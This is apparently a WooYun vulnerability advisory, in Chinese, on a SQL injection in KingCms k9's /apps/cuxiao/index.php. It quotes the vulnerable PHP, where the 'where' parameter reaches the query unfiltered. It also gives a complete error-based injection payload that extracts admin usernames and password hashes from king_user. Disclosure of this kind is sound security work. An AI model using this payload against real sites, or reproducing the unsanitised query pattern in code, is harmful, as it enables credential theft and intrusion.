当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101067

漏洞标题:KingCms最新版(k9)注入1枚

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-13 11:03

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)注入1枚

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:POST /apps/cuxiao/index.php HTTP/1.1
注入参数:where 问题文件在/apps/cuxiao/index.php

function _create(){
$u=new user;$u->auth_role('cuxiao');
$db=new db;
$cmd=kc_get('cmd',array('categroy','content'));
$file=new file;
if($cmd=='content'){
$where=kc_get('where',0,1);
$pid=kc_get('pid',2,1);
$rn=kc_get('rn',2,1);
$limit=($rn*($pid-1)).','.$rn.';';
$pcount=kc_get('pcount',2,1);
$start=$rn*$pid>$pcount?$pcount:$rn*$pid;
$res=$db->getRows('%s_cuxiao','*',$where,'',$limit);
foreach($res as $rs){
//process file to rela path
$rs['TEMPLATE']='cuxiao/info.php';
$file->create($rs['url'],$rs,'apps/cuxiao/_info.php');
}
/*
}else if($cmd=='area' || $cmd=='cat'){
$res=$db->getRows('%s_node','*',$where,'',$limit);
foreach($res as $rs){
$fpath="cuxiao/{$rs['url']}/";
$file->create($fpath,$rs,'apps/cuxiao/_node.php');
}
*/
}else if($cmd=='categroy'){
//遍历地区
$node=new node;
$areas=$node->getRows('area');
$types=$node->getRows('cuxiao_type');//$db->getRows('%s_node','url,name','cid=6');
//$areas=$db->getRows('%s_node','url,name','cid=1');
foreach($areas as $a){
//遍历分类
foreach($types as $t){
$fpath=kc_config('cuxiao.dir').$a['url'].'_'.$t['url'].'/';//"{$a['url']}_{$t['url']}/";
$array=array(
'title'=>$a['name']."所有".$t['name'].'促销信息',
'where'=>"status=1 and online=1 and area='{$a['url']}' and type='{$t['url']}'",
'area'=>$a['url'],
'type'=>$t['url'],
'TEMPLATE'=>'cuxiao/categroy.php',
);

$file->create($fpath,$array);
}
无关代码


$_POST['where']没有经过处理就进入了$db->getRows,去看看$db->getRows

public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.= empty($where) ? '' : " WHERE $where";
$sql.= empty($group) ? '' : " GROUP BY $group";
$sql.= empty($order) ? '' : " ORDER BY $order";
$sql.= empty($limit) ? '' : " LIMIT $limit";
return $this->get($sql);
}


在执行sql语句之前,也没有过滤,这里就造成了注入。
Kingcms可以报错,因此
Payload:

jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=create&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&pid=1&rn=2&cmd=content&pcount=1&where=0 UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a%23


注入成功,见下图

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝